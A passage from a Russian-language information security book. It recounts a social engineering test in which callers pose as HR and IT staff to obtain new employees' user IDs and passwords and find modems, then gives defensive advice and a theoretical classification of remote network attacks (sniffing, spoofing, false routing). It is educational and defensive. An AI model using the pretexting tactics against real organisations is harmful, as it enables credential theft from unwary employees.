обычно узнавались так: проверяющий выдавал себя за сотрудника отдела кадров, который по ошибке звонил не
тому сотруднику и спрашивал номер для того, чтобы понять, что он ошибся.

  Затем атакующие определили, что они могут попытаться получить имена новых сотрудников, которые,
скорее всего, наименее осведомлены об угрозах компании. Используя информацию первой фазы атаки, были
установлены имена нескольких руководителей компании. Телефонный справочник позволил установить имя
служащего, который, скорее всего, и является руководителем. На этот момент времени было установлено, что
самым лучшим методом получения имен новых служащих будет заявление, что руководитель хочет сам
познакомиться с новыми служащими компании. Проверяющие собрались заявить, что выполняют поручение
руководителя, а затем, что руководитель был расстроен, так как полученная информация уже устарела.

  Удача сопутствовала им, и на звонок в отдел по работе с новыми сотрудниками ответил автосекретарь.

  Сообщение позволило установить: 1) отдел
переехал; 2) имя человека, за которым закреплен телефонный номер; 3) новый телефонный номер. Имя
человека было важно, так как знание конкретного имени увеличивает правдоподобность вопросов звонившего.

  Было уже поздно, и этот человек уже ушел. Это позволило атакующему заметить в разговоре, что
отсутствующий человек обычно предоставляет информацию. Атакующий также заявил, что очень большой
начальник был сильно расстроен. Его <пожалуйста> побудило человека, отвечавшего по телефону, дать
запрошенную информацию. Были получены имена всех сотрудников, начавших работать в течение этой недели,
и для многих стали известны отделы, в которых они работают.

  Затем было установлено, что атакующим следует избегать контакта с сотрудниками отдела
информационных систем, так как те, скорее всего, знают о важности защиты паролей. При звонках новым
сотрудникам атакующие выдавали себя за сотрудников отдела информационных систем и проводили с ними по
телефону краткий инструктаж по компьютерной безопасности. В ходе этого инструктажа атакующий получал
базовую информацию, включая типы используемых компьютерных систем, используемые приложения, номер
сотрудника, идентификатор пользователя и пароль. В одном случае атакующий предложил новому сотруднику
сменить пароль, так как пароль легко угадать.

  Demon Dialer (программа, выясняющая наличие модемов на противоположном конце линии) и звонок в
справочную службу отдела информационных систем дали телефонные номера модемов компании. Эти номера
позволили атакующим использовать скомпрометированные идентификаторы. Получение информации о
модемах позволило обойти очень сложную систему брандмауэра и сделать ее бесполезной. В ходе дальнейших
атак аналогичные методы использовались для того, чтобы получить свой собственный идентификатор в
компьютерах компании. После этого атакующие заставили служащих компании послать им коммуникационную
математику, которая организует безопасное соединение>.

  Осведомленность
Осведомленность играет ведущую роль в защите организации от проникновения в информационные
системы с помощью СИ, так как СИ основана на использовании таких сторон человеческой природы, как
неосторожность и беззаботность. Осведомленность является ключевым моментом и вследствие того, что это
предварительная, предупреждающая мера, нацеленная на усвоение самими служащими основных принципов и
необходимых правил защиты. Разумеется, этот аспект требует обучения и тестирования сотрудников.

  Основные шаги для усиления безопасности компьютерных систем компании:

  1. Привлечение внимания людей к вопросам безопасности.

  2. Осознание сотрудниками всей серьезности проблемы и принятие политики безопасности организации.

  3. Изучение и внедрение необходимых методов и действий для повышения защиты информационного
обеспечения. Осведомленность должна быть включена во все уровни организации, начиная с самого верхнего,
где и принимается политика безопасности. На основе этой политики и распределения ответственности можно
создавать модель защиты. После разбора вышеописанного примера И. Винклердает советы по разработке и
внедрению политики безопасности, позволяющей защититься от СИ:

  Не полагайтесь на систему внутренней идентификации
Атакующих иногда просят аутентифицироваться с помощью указания их личного номера сотрудника. К
радости взломщиков, такие номера часто используются и могут быть легко получены от реальных сотрудников.

  У атакующего обычно имеется список номеров сотрудников, и он готов к любому вопросу. Многие компании
полагаются на похожие системы идентификации. Компаниям следует иметь отдельный идентификатор для
работ, связанных с поддержкой информационных систем. Наличие такого идентификатора позволит отделить
функции технического сопровождения от других и обеспечит дополнительную безопасность как для работ по
сопровождению, так и для взаимодействия сотрудников в организации.

  Реализуйте систему проверки с помощью встречного звонка, когда сообщаете защищенную информацию
От многих атак можно было бы защититься, если бы служащие компании проверяли личность звонившего,
набрав его телефонноый номер, который указан в телефонном справочнике компании. Эта процедура не очень
удобна в повседневной работе, однако при сопоставлении с возможными потерями неудобства будут
оправданы. Если от сотрудников потребовать делать встречные звонки любому, кто просит сообщить
персональную или конфиденциальную информацию, риск утечки информации будет сведен к минимуму.

  Использование АОН также может пригодиться для этой цели.

  Реализуйте программу обучения пользователей в области безопасности
Хотя предоставление своего пароля постороннему может показаться глупым для читателей данной книги,
многие компьютерные пользователи не
увидят в этом ничего плохого. Компании тратят огромные суммы, закупая самое современное оборудование
и программы, но необходимость обучать пользователей игнорируется. Компьютерные профессионалы должны
понимать: то, что для них естественно, может быть неизвестно остальным. Хорошая программа обучения
пользователей может быть реализована с минимальными затратами и сохранить компании миллионы.

  Назначьте ответственных за техническую поддержку
Каждый сотрудник компании обязан лично познакомиться с ответственным за техническую поддержку и
обращаться исключительно к нему. При этом на 60 пользователей достаточно одного ответственного.

  Пользователи должны немедленно связываться с аналитиком, если к ним обращается некто, заявляющий, что он
сотрудник службы технической поддержки.

  Создайте систему оповещения об угрозах
Атакующие знают, что, даже если их обнаружат, у служащего нет возможности предупредить других
сотрудников об атаках. В результате атака может быть продолжена с минимальными изменениями и после
компрометации. По существу, компрометация только улучшит атаку, так как атакующие узнают, что именно не
срабатывает.

  Социальная инженерия для проверки политики безопасности
Социальная инженерия является единственным подходящим методом проверки эффективности политики
безопасности. Хотя многие тесты проверяют физические и электронные уязвимые места, но лишь некоторые
анализы безопасности исследуют бреши, создаваемые людьми. Следует, однако, отметить, что тесты такого
типа должны проводить только квалифицированные и надежные люди.

  Методы социальной инженерии, применяемые злоумышленником, представляют серьезную угрозу
информационной безопасности для любой организации. Нужно создать и разработать различные варианты по-
литики безопасности, определить правила корректного использования телефонов, компьютеров и т. д.

  Необходимо учитывать и неосведомленность в области безопасности, так как любые средства технического
контроля (независимо от их эффективности) могут быть использованы людьми ненадлежащим образом. В итоге
тестирование системы безопасности должно обеспечить вам защиту от проникновения.






                                      Часть 3


                                  глава 3

             УДАЛЕННЫЕ АТАКИ НА РАСПРЕДЕЛЕННЫЕ ВЫЧИСЛИТЕЛЬНЫЕ
                                  СИСТЕМЫ

Непостижимо все, что в мире есть, К тому ж изъянов в том, что есть, не счесть.

  О. Хайям. Рубай
Основной особенностью любой распределенной системы, как уже отмечалось, является то, что ее
компоненты рассредоточены в пространстве и связь между ними физически осуществляется при помощи
сетевых соединений, а программно - при помощи механизма сообщений. При этом все управляющие сообщения
и данные, пересылаемые между объектами распределенной ВС (РВС), передаются по сетевым соединениям в
виде пакетов обмена. Данная особенность и является основной для рассматриваемых в этой главе удаленных
атак на инфраструктуру и протоколы распределенных ВС.

  Классификация угроз безопасности распределенных вычислительных систем
Еще в конце 80-х - начале 90-х годов такого понятия и научного направления, как сетевая безопасность, по
сути, не существовало. В те годы только зарождалось направление, связанное с компьютерной безопасностью
вообще (особенно это относится к России), поэтому в научных исследованиях, посвященных анализу угроз
безопасности ВС, не проводилось разделения между угрозами, специфичными для распределенных и локаль-
ных вычислительных систем. В одном исследовании, проделанном отечественными авторами [1], была
предложена систематизация информационных разрушающих воздействий на ВС и рассмотрены их основные
тины, в том числе описывались и классифицировались воздействия, присущие только распределенным ВС.

  Такой обобщенный подход к систематизации является правомочным, но, к сожалению, он не позволяет точно
охарактеризовать и классифицировать воздействия, присущие именно РВС. Это связано с тем, что
распределенные вычислительные системы обладают серьезными отличиями от локальных ВС. Поэтому в
последующих научных работах [25, 31] применялся подход к систематизации угроз, когда из всего множества А
угроз ВС (А == {a. I i = I..N}, где а. - i-я угроза ВС) рассматривалось подмножество угроз В, присущих только
распределенным ВС (В = {Ь. 1 i = 1..М}, где Ь. - i-я угроза РВС). Соответственно для данного множества угроз
В предлагалась своя классификация. Однако и такой подход к систематизации не был лишен недостатков, так
как все угрозы из множества В в зависимости от объекта, подвергающегося воздействию, можно разделить на
следующие два подмножества:

  
 удаленные атаки на инфраструктуру (под инфраструктурой сети мы будем понимать сложившуюся
систему организации отношений между объектами сети и используемые в сети сервисные службы) и прото-
колы сети (множество В1);

 удаленные атаки на телекоммуникационные службы или серверы предоставления удаленного сервиса
(множество В2). Первые используют уязвимости в сетевых протоколах и в инфраструктуре сети, а вторые -
уязвимости в телекоммуникационных службах (<дыры>, программные закладки, программные ошибки).

  Проведенный анализ причин успеха реальных воздействий (из множества В1) на различные распределенные
вычислительные системы позволил выделить основные причины, по которым возможна реализация данных
угроз:

  
 использование широковещательной среды передачи (например, Ethernet);

 применение нестойких алгоритмов идентификации удаленных субъектов и объектов РВС;

 использование протоколов динамического изменения маршрутизации с нестойкими алгоритмами
идентификации;

 применение алгоритмов удаленного поиска с использованием широковещательных и направленных
поисковых запросов;

 возможность анонимного захвата одним субъектом РВС множества
физических или логических каналов связи.

  Иными словами, возможный успех атак из множества В1 обусловлен наличием в распределенной системе
одной (или нескольких) из вышеназванных
причин. Систематизация основных причин успеха угроз безопасности РВС позволила ввести понятие
типовой угрозы безопасности РВС (из множества В1), инвариантной к типу РВС, и создать систематизацию
типовых угроз безопасности РВС из множества В1, которая рассмотрена далее.

  Итак, перейдем к классификации угроз из выделенного множества В1. Основная цель любой классификации
состоит в том, чтобы предложить такие отличительные признаки, используя которые, можно наиболее точно
описать характеризуемые явления или объекты. Поскольку ни в одном из известных авторам научных
исследований не проводилось различия между локальными и удаленными информационными воздействиями на
ВС, применение уже известных обобщенных классификаций для описания удаленных воздействий не позволяет
более или менее точно раскрыть их сущность и описать механизмы и условия их осуществления. Для более
точного описания угроз безопасности РВС (из множества В1) предлагается следующая классификация (см. рис.


                                       3.1).


  1. По характеру воздействия:

  
 пассивное (класс 1.1);

 активное (класс 1.2).

  Пассивным воздействием на распределенную вычислительную систему можно назвать воздействие, которое
не оказывает непосредственного влияния на работу системы, но способно нарушать ее политику безопасности.

  Именно отсутствие непосредственного влияния на работу распределенной ВС приводит к тому, что пассивное
удаленное воздействие практически невозможно обнаружить. Примером типового пассивного удаленного воз-
действия в РВС служит прослушивание капала связи в сети. При пассивном воздействии, в отличие от
активного, не остается никаких следов (от того, что атакующий просмотрит чужое сообщение в системе, ничего
не изменится).

  Под активным воздействием на распределенную ВС понимается воздействие, оказывающее
непосредственное влияние на работу системы (изменение конфигурации РВС, нарушение работоспособности и
т. д.) и нарушающее принятую в ней политику безопасности. Практически все типы удаленных атак являются
активными воздействиями. Это связано с тем, что в самой природе разрушающего воздействия заложено
активное начало. Очевидным отличием активного воздействия от пассивного является принципиальная
возможность его обнаружения (естественно, с большими или меньшими усилиями), так как в результате его
осуществления в системе происходят определенные изменения.


                                          

2. По цели воздействия:

  
 нарушение конфиденциальности информации либо ресурсов системы (класс 2.1);

 нарушение целостности информации (класс 2.2);

 нарушение работоспособности (доступности) системы (класс 2.3). Этот классификационный признак
является прямой проекцией трех основных типов угроз: раскрытия, целостности и отказа в обслуживании.

  Цель большинства атак - получить несанкционированный доступ к информации. Существуют две
принципиальные возможности такого доступа: перехват и искажение. Перехват - это получение информации
без возможности ее искажения. Примером перехвата может служить прослушивание канала в сети. Такая атака
является пассивным воздействием и ведет к нарушению конфиденциальности информации.

  Искажение информации означает полный контроль над информационным потоком между объектами
системы или возможность передачи сообщений от имени другого объекта. Очевидно, что искажение
информации ведет к нарушению ее целостности, то есть представляет собой активное воздействие. Примером
удаленной атаки, цель которой - нарушение целостности информации, может служить типовая удаленная атака
(УА) <ложный объект РВС>.

  Принципиально иной целью атаки является нарушение работоспособности системы. В этом случае основная
цель взломщика - добиться, чтобы операционная система на атакованном объекте вышла из строя и, следова-
тельно, для всех остальных объектов системы доступ к ресурсам данного объекта был бы невозможен.

  Примером удаленной атаки, целью которой является нарушение работоспособности системы, может служить
типовая атака <отказ в обслуживании>.

  3. По условию начала осуществления воздействия.

  Удаленное воздействие, как и любое другое, может начать осуществляться только при определенных
условиях. В распределенных ВС существуют три . вида таких условий:

  
 атака после запроса от атакуемого объекта (класс 3.1);

 атака после наступления ожидаемого события на атакуемом объекте (класс 3.2);

 безусловная атака (класс 3.3).

  В первом случае взломщик ожидает передачи от потенциальной цели атаки запроса определенного типа,
который и будет условием начала осуществления воздействия. Примером подобных сообщений в ОС Novell
NetWare может служить запрос SAP (атака описана в [II]), а в Internet -запросы DNS и ARP. Удаленные
атаки класса 3.1 на объекты сети рассмотрены далее в главе 4. Следует отметить, что такой тип удаленных атак
наиболее характерен для распределенных ВС.

  При осуществлении атаки класса 3.2 атакующий осуществляет постоянное наблюдение за состоянием
операционной системы объекта атаки и при возникновении определенного события в этой системе начинает
воздействие. Как и в предыдущем случае, инициатором начала атаки выступает сам атакуемый объект.

  Примером такого события может быть прерывание сеанса работы пользователя с сервером в ОС Novell NetWare
без выдачи команды LOGOUT [II].

  При безусловной атаке ее начало не зависит от состояния системы атакуемого объекта, то есть воздействие
осуществляется немедленно. Следовательно, в этом случае его инициатором является атакующий. Пример
воздействия данного вида рассмотрен в главе 4.

  4. По наличию обратной связи с атакуемым объектом:

  
 с обратной связью (класс 4.1);

 без обратной связи, или однонаправленная атака (класс 4.2). Если взломщику требуется получить ответ на
некоторые запросы, переданные на объект воздействия, то есть между атакующим и целью атаки существует
обратная связь, которая позволяет ему адекватно реагировать при изменении ситуации, то такое воздействие
можно отнести к классу 4.1. Подобные удаленные атаки наиболее характерны для распределенных ВС.

  Инициатор удаленной атаки без обратной связи, напротив, не реагирует ни на какие изменения,
происходящие на атакуемом объекте. Воздействие данного вида обычно осуществляется передачей на
атакуемый объект одиночных запросов, ответы на которые атакующему не нужны. Примером подобных атак -
их можно назвать однонаправленными - является типовая атака <отказ в обслуживании>, а также атаки,
рассмотренные в главе 4.

  5. По расположению субъекта атаки относительно атакуемого объекта:

  
 внутрисегментное (класс 5.1);

 межсегментное (класс 5.2).

  Рассмотрим ряд определений.

  Субъект атаки, или источник атаки - это атакующая программа или оператор, непосредственно
осуществляющие воздействие. Хост (host) - сетевой компьютер.

  Маршрутизатор, или роутер (router) - устройство, обеспечивающее . маршрутизацию пакетов обмена в
глобальной сети.

  Подсеть (subnetwork в терминологии Internet) - логическое объединение, совокупность хостов, являющихся
частью глобальной сети, для которых маршрутизатором выделен одинаковый номер. Хосты внутри одной
подсети могут взаимодействовать непосредственно, минуя маршрутизатор.

  Сегмент сети (segment) - физическое объединение хостов. Например, сегменты сети образуются
совокупностью хостов, подключенных к серверу по схеме <общая шина>. 'При такой схеме подключения
каждый хост имеет возможность подвергать анализу любой пакет в своем сегменте.

  Для осуществления удаленного воздействия чрезвычайно важно, как по отношению друг к другу
располагаются субъект и объект атаки, то есть в одном или в разных сегментах они находятся. В случае
внутрисегментной атаки, как следует из названия, субъект и объект атаки находятся в одном сегменте, а при
межсегментной - в разных.

  Данный классификационный признак позволяет судить о так называемой степени удаленности атаки. Далее
показано, что на практике межсегментное воздействие осуществить значительно труднее, чем внутрисегмен-
тное, но и опасность оно представляет гораздо большую. В таком случае объект и субъект атаки могут
находиться на расстоянии многих тысяч километров друг от друга, что существенно усложняет возможность
непосредственного обнаружения атакующего и адекватной реакции на атаку.

  6. По уровню эталонной модели ISO/OSI, на котором осуществляется воздействие:

  
 физический (класс 6.1);

 канальный (класс 6.2);

 сетевой (класс 6.3);

 транспортный (класс 6.4);

 сеансовый (класс 6.5); * представительный (класс 6.6);

 прикладной (класс 6.7).

  Международная организация по стандартизации (ISO) приняла стандарт ISO 7498, описывающий
взаимодействие открытых систем (OSI), к которым относятся и распределенные ВС. Любой сетевой протокол
обмена, как и любую сетевую программу, можно с той или иной степенью точности спроецировать на
эталонную многоуровневую модель OSI. Такая проекция позволит описать в терминах модели OSI функции,
заложенные в сетевой протокол или программу. Поскольку удаленная атака также является сетевой
программой, представляется логичным рассматривать такие воздействия на распределенные ВС, проецируя их
на эталонную модель ISO/OSI.


  Модели механизмов реализации типовых угроз безопасности РВС
Понятие типовой угрозы безопасности


  Исследования информационной безопасности различных распределенных ВС, проводимые нами в течение
последних лет, показали, что, независимо от используемых сетевых протоколов, топологии и инфраструктуры
исследуемых распределенных ВС, механизмы реализации удаленных воздействий на РВС инвариантны по
отношению к особенностям конкретной системы. Это объясняется тем, что распределенные ВС проектируются
на основе одних и тех же принципов, а следовательно, имеют практически одинаковые проблемы безопасности.

  Поэтому и оказывается, что причины успеха удаленных атак на различные РВС одинаковы (подробнее см. в
главе 6). Таким образом, появляется возможность ввести понятие типовой угрозы безопасности РВС. Типовая
угроза безопасности - это удаленное информационное разрушающее воздействие, программно осуществляемое
по каналам связи и характерное для любой распределенной ВС. Соответственно типовая удаленная атака - это
реализация типовой угрозы безопасности РВС.

  Классификация типовых удаленных атак на РВС приведена в табл. 3.1. Рассмотрим модель типовых угроз
безопасности РВС из множества угроз, направленных на инфраструктуру и протоколы РВС. Эта модель
включает в себя:

  
 описание угрозы;

 описание механизмов реализации угрозы;

 классификацию угрозы;

 графовую модель взаимодействия объектов РВС в проекции на физический (или канальный) и сетевой
уровни модели OSI;

 графовую модель взаимодействия объектов РВС при реализации данной угрозы в проекции на физический
(или канальный) и сетевой уровни модели OSI.

  Графовая модель взаимодействия объектов РВС


  Рассмотрим предлагаемую графовую модель взаимодействия объектов РВС в проекции на физический,
канальный и сетевой уровни модели OSI. На входе у модели находится адрес объекта, с которого передается
сообщение и на который необходимо доставить сообщение; па выходе - итоговый результат (доставлено ли
сообщение). Основная задача данной модели
РВС состоит в формировании на графе пути между заданными входными параметрами модели (между двумя
объектами).

  Модель в проекции на физический уровень OSI определяет, как физически связаны и сообщаются между
собой объекты РВС; в проекции на канальный уровень OSI устанавливает взаимодействие объектов на уровне
аппаратных адресов сетевых адаптеров; а в проекции на сетевой уровень OSI определяет связь объектов на
уровне логических адресов, например адресов IP.

  Пусть имеется РВС, включающая в себя N связанных между собой KS (линиями связи на физическом и
канальном уровне) и LS (линиями связи на сетевом уровне OSI) объектов (М хостов х. и N(M+I) и роутеров g"
где i = 1..М nj = М + 1..N; М < N). Так как модель РВС в проекции на физический уровень ничем не отличается
от той же модели в проекции на канальный уровень, то ограничимся введением универсальной линии связи KS,
под которой будем понимать линию связи либо физического, либо канального уровня OSI.

  На физическом уровне под объектом понимается сетевой адаптер хоста или роутера, на канальном -
аппаратный адрес сетевого адаптера. На этих уровнях модели выделим из всего множества хостов N - (М + 1)
подмножество Х^ где k = 1.. N - (М + 1), по числу роутеров в РВС, каждое из которых связано на физическом и
канальном уровнях только с одним ближайшим роутером и представляет собой сетевой сегмент.

  Соответственно все объекты внутри данного подмножества Х^ взаимодействуют между собой при помощи
двунаправленных линий связи физического или канального уровня ks.., соединяющих i-объект с j-объектом;
также каждый объект из подмножества Х^ связан с соответствующим роутером G ^, через который и только
через который объект из данного множества (сегмента) может сообщаться с объектом из другого множества
(сегмента). Это правило будет введено для упрощения модели, так как при моделировании механизмов атак
связь объекта сразу с несколькими роутерами не играет роли. Таким образом, на канальном и физическом
уровнях модели из вершины Х^ попасть в вершину Х^ (р < k) можно только в том случае, если они находятся в
одном подмножестве или путь проходит через последовательность узлов из множества G, следовательно, путь
между любыми двумя объектами из множества Х не может проходить через другой, отличный от них тран-
зитный объект из того же множества.

  На сетевом уровне под объектом понимается сетевой адрес хоста или роутера. На этом уровне каждый
объект может взаимодействовать с любым другим объектом РВС при помощи однонаправленной или
двунаправленной линии связи сетевого уровня Is.., соединяющей i-объект cj-объектом.

  Введем два правила.

  Во-первых, все объекты внутри одного подмножества Хk (сегмента) всегда связаны между собой физически,
но не всегда соединены канальными линиями связи, а следовательно, на данном уровне все объекты потенци-
ально могут быть связаны друг с другом линией канального уровня, но могут быть и не связаны.

  Во-вторых, путь на К-ом уровне модели OSI между двумя объектами РВС существует тогда и только тогда,
когда он существует на всех уровнях от 1 до К- 1, где 1 < К <= 7. Исключением является случай, когда между
двумя объектами из одного подмножества (сегмента) Хk нет пути на канальном уровне, но существует путь на
сетевом (широковещательный сетевой запрос (например, ARP), который получат все объекты в данном сег-
менте).

  Согласно предлагаемой модели: Х = {xi | i = 1..М}- множество хостов; G = {gi [j = М+ I..N} - множество
роутеров;
KS = {kskl | k = 1..N, L= 1..N}- множество линий связи объектов на физическом или канальном уровне OSI;
kskl - линия связи k-гo объекта с объектом L;
LS = {lskl | k = 1..N, L = 1..N} - множество линий связи объектов на сетевом уровне OSI; lskl - линия связи k-
гo объекта с объектом L;
Хk = {хp |р = 1..М} - подмножество хостов внутри одного сегмента;
KSk = {kskl |k = 1..М, L = 1..М} - подмножество линий связи объектов на физическом или канальном уровнях
внутри одного сегмента;
SEG = {Хk,Gm+k, KSk | k = 1..N - (М +1), m = 1..М} - множество сетевых сегментов с линиями связи
физического или канального уровня.

  Объединение множеств RVSk= Xk U KSk U G ? SEG образует модель взаимодействия объектов
распределенной ВС в проекции на физический или канальный уровень модели OSI (рис. 3.2).


                                          

Рис. 3.2. Графовая модель взаимодействия объектов РВС в проекции на физический или канальный уровень
модели 051
Объединение множеств RVSs= X ? G ? LS образует модель взаимодействия объектов распределенной ВС в
проекции на сетевой уровень модели OSI (рис. 3.3).

  Объединение множеств RVS = RVSk ? RVSs образует модель взаимодействия объектов распределенной ВС
в проекции на физический (или канальный) и сетевой уровни модели OSI (рис. 3.4).


                                          

Рис. 3.4. Графовая модель взаимодействия объектов РВС в проекции на физический и сетевой уровни
модели OSI


  Моделирование механизмов реализации типовых угроз безопасности

                                       РВС

1. Анализ сетевого трафика
Основной особенностью РВС, как отмечалось выше, является то, что ее объекты распределены в
пространстве и связь между ними осуществляется физически (по сетевым соединениям) и программно (при
помощи механизма сообщений). При этом все управляющие сообщения и данные, пересылаемые между
объектами РВС, передаются по сетевым соединениям в виде пакетов обмена. Эта особенность привела к
появлению специфичной для распределенных ВС типовой угрозы безопасности, заключающейся в про-
слушивании канала связи. Назовем данную типовую угрозу безопасности . РВС <анализ сетевого трафика>
(sniffing), сокращенно - <сетевой анализ>.

  Реализация угрозы <сетевой анализ> позволяет, во-первых, изучить логику работы распределенной ВС, то
есть получить взаимно однозначное соответствие событий, происходящих в системе, и команд, пересылаемых
друг другу ее объектами, в момент появления этих событий. Это достигается путем перехвата и анализа пакетов
обмена на канальном уровне. Знание логики работы распределенной ВС позволяет на практике моделировать и
осуществлять типовые удаленные атаки, рассмотренные ниже, на примере конкретных РВС.

  Во-вторых, такая удаленная атака позволяет непосредственно перехватить поток данных, которыми
обмениваются объекты распределенной ВС. То есть удаленная атака этого типа заключается в получении
несанкционированного доступа к информации, которой обмениваются два сетевых абонента. Отметим, что при
реализации угрозы нельзя модифицировать трафик, а сам анализ возможен только внутри одного сегмента сети.

  Примером информации, перехваченной при помощи такой типовой атаки, могут служить имя и пароль
пользователя, пересылаемые в незашифрованном виде по сети.

  По характеру воздействия анализ сетевого трафика является пассивным воздействием (класс 1.1).

  Осуществление данной атаки без обратной связи (класс 4.2) ведет к нарушению конфиденциальности
информации (класс 2.1) внутри одного сегмента сети (класс 5..1) на канальном уровне OSI (класс 6.2). При этом
начало осуществления атаки безусловно по отношению к ее цели (класс 3.3).

  Для моделирования реализации данной угрозы воспользуемся разработанной графовой моделью
взаимодействия объектов РВС в проекции на физический уровень модели OSI. На рис. 3.5 показана модель РВС
при реализации данной угрозы. Реализация типового воздействия <сетевой анализ>, как видно из графа на том
же рисунке, характеризуется появлением на графе нового узла Хn+1 и нового ребра ksmn+1, а соответственно на
множестве RVSk - нового объекта Х n+1 и новых линий связи KS mn+1и KSnn+1

                                         

Рис. 3.5. Графовая модель взаимодействия объектов РВС в проекции на физический уровень 051 при
реализации типовой угрозы <сетевой анализ>
2. Подмена доверенного объекта или субъекта распределенной ВС
Одна из основных проблем безопасности распределенной ВС заключается в осуществлении однозначной
идентификации сообщений, передаваемых между субъектами и объектами (абонентами) взаимодействия.

  Обычно в РВС эта проблема решается следующим образом: в процессе создания виртуального канала объекты
обмениваются определенной информацией, уникально идентифицирующей данный канал. Такой обмен
называется handshake (рукопожатие). Однако отметим, что не всегда для связи двух удаленных объектов в РВС
создается виртуальный канал. Практика показывает, что зачастую, как это ни странно, именно для служебных
сообщений (например, от роутеров) используется передача одиночных сообщений, не требующих
подтверждения.

  Как известно, для адресации сообщений в распределенных ВС используется сетевой адрес, уникальный для
каждого объекта системы (на канальном уровне модели OSI - это аппаратный адрес сетевого адаптера, на
сетевом уровне адрес определяется в зависимости от используемого протокола сетевого уровня, например адрес
IP). Сетевой адрес также может использоваться для идентификации объектов РВС, однако это средство
распознавания не должно быть единственным, так как довольно просто подделывается. Если в распределенной
ВС применяются нестойкие алгоритмы идентификации удаленных объектов, то возможно типовое удаленное
воздействие, реализация которого заключается в передаче по каналам связи сообщений от имени любого
объекта или субъекта РВС. При этом существуют две разновидности данной типовой атаки:

  
 атака при установленном виртуальном канале;

 атака без установленного виртуального канала.

  В случае установленного виртуального соединения атака будет заключаться в передаче пакетов обмена с
хоста кракера на объект атаки от имени доверенного субъекта взаимодействия (при этом переданные
сообщения будут восприняты системой как корректные). Для осуществления такой атаки необходимо
преодолеть систему идентификации и аутентификации сообщений, которая может использовать контрольную
сумму, вычисляемую с помощью открытого ключа, динамически выработанного при установлении канала,
случайные многобитные счетчики пакетов, сетевые адреса станций и т. д. Однако на практике, например в ОС
Novell NetWare 3.12-4.1, для идентификации пакетов обмена используются два 8-битных счетчика: номер
канала и номер пакета [II]; в протоколе TCP/IP для идентификации используются два 32-битных счетчика.

  Как было отмечено ранее, для служебных сообщений в распределенных ВС часто используется передача
одиночных запросов, не требующих подтверждения, а следовательно, создание виртуального соединения
является необязательным. Атака без создания такого соединения заключается в передаче служебных сообщений
от имени сетевых управляющих устройств, например от имени маршрутизаторов. Очевидно, что в этом случае
для идентификации пакетов могут использоваться только определенные заранее статические ключи, что
довольно неудобно и требует сложной системы управления ключами. Однако в противном случае
идентификация таких пакетов без установленного виртуального канала возможна лишь по сетевому адресу
отправителя, который, как уже отмечалось, легко подделать. Посылка ложных управляющих сообщений может
привести к серьезным нарушениям работы распределенной ВС, например к изменению ее конфигурации.

  Подмена доверенного объекта РВС является активным воздействием (класс 1.2), совершаемым с целью
нарушения конфиденциальности (класс 2.1) и целостности (класс 2.2) информации по наступлении на
атакуемом объекте определенного события (класс 3.2). Данная удаленная атака может являться как
внутрисегментной (класс 5.1); так и межсегментной (класс 5.2), иметь обратную связь с атакуемым объектом
(класс 4.1) или не иметь ее (класс 4.2), осуществляясь на канальном (класс 6.2), сетевом (класс 6.3) и
транспортном (класс 6.4) уровнях модели OSI.

  Для моделирования реализации данной угровы воспользуемся разработанной графовой моделью
взаимодействия объектов РВС в проекции на физический и сетевой уровни эталонной модели OSI. На рис. 3.6
показана модель РВС при реализации данной угрозы. Поясним ее.

  Пусть объект Х2 взаимодействует с объектом Хm. На графе это взаимодействие на сетевом уровне показано
двунаправленным ребром ls2m, которое располагается между вершинами Х2 и Xm. Пусть с объекта Х1
осуществляется реализация данной угрозы: предположим, объект X1, на сетевом уровне выдает себя за объект
X2. при взаимодействии с объектом Xm. Тогда, согласно введенному правилу образования ребер графа в
модели РВС в проекции на сетевой уровень, на графе появляется еще одно однонаправленное ребро ls2m,
которое соединяет вершины Х1 и Хm (если объект Х1 при связи с объектом Хm выдает себя за объект Х2 то
между вершинами X1, и Хm появляется не ребро ls1m, а ребро ls2m). Таким образом, объект Хm, получив
сообщение от имени X2, отправленное объектом X1, посылает ответное сообщение на Х2 (двунаправленное
ребро ls2m или однонаправленное ребро lsm2).

  Двунаправленному ребру ls2m между вершинами Х2 и Хm на физическом уровне соответствует путь ks2m
(путь ks2m образуется из последовательности ребер, которые нужно пройти между узлами Х2 и Хm на
физическом уровне, то есть ребер ks2m+1, ksm+1n, ksnm, и по закону транзитивности совокупность этих ребер
образует ребро ks2m). А однонаправленному ребру ls2m

                                         

Рис. 3.6. Графовая модель взаимодействия объектов РВС при реализации типовой угрозы <подмена
доверенного объекта или субъекта РВС> в проекции на физический и сетевой уровни
между вершинами X1 и Хm на физическом уровне соответствует путь ks1m, что неверно, так как нумерация
пути между узлами на физическом и сетевом уровнях должна совпадать (например, между узлами М и N пути
ksmn и lsmn), и данному ребру на физическом уровне будет соответствовать путь ks2m. Следовательно,
реализацию данной угрозы можно определить по изменившемуся на физическом уровне пути при
взаимодействии объектов Х2 и Хm.

  Отсюда следует, что реализация типовой угрозы <подмена доверенного объекта или субъекта РВС>
характеризуется появлением на графе однонаправленного ребра Is2m., которому на физическом уровне
соответствует путь ks1m
3. Ложный объект распределенной ВС
Если в распределенной ВС не решены проблемы идентификации сетевых управляющих устройств
(например, маршрутизаторов), возникающие при взаимодействии этих устройств с объектами системы, то
подобная РВС может подвергнуться типовой удаленной атаке, связанной с изменением маршрутизации и
внедрением в систему ложного объекта. Внедрить такой объект можно и в том случае, если инфраструктура
предусматривает использование алгоритмов удаленного поиска. Итак, существуют две принципиально разные
причины, обусловливающие появление типовой угрозы <ложный объект РВС>:

  _ внедрение в распределенную ВС ложного объекта путем навязывания ложного маршрута;
_ внедрение в распределенную ВС ложного объекта путем использования недостатков алгоритмов
удаленного поиска.

  Современные глобальные сети представляют собой совокупность сегментов, связанных между собой через
сетевые узлы. При этом под маршрутом понимается последовательность узлов сети, по которой данные пе-
редаются от источника к приемнику, а под маршрутизацией - выбор маршрута. Все роутеры (маршрутизаторы)
имеют специальную таблицу, называемую таблицей маршрутизации, в которой для каждого адресата
указывается оптимальная последовательность узлов. Отметим, что такие таблицы существуют не только у
маршрутизаторов, но и у любых хостов в глобальной сети. Для обеспечения эффективной маршрутизации в рас-
пределенных ВС применяются специальные управляющие протоколы, позволяющие роутерам обмениваться
информацией друг с другом,- RIP (Routing Internet Protocol), OSPF (Open Shortest Path First); уведомлять хосты о
новом маршруте,- ICMP (Internet Control Message Protocol);
удаленно управлять маршрутизаторами,- SNMP (Simple Network Management Protocol). Все эти протоколы
позволяют удаленно изменять маршрутизацию в Internet, то есть являются протоколами управления сетью.

  Очевидно, что маршрутизация в глобальных сетях играет важнейшую роль и, как следствие этого, может
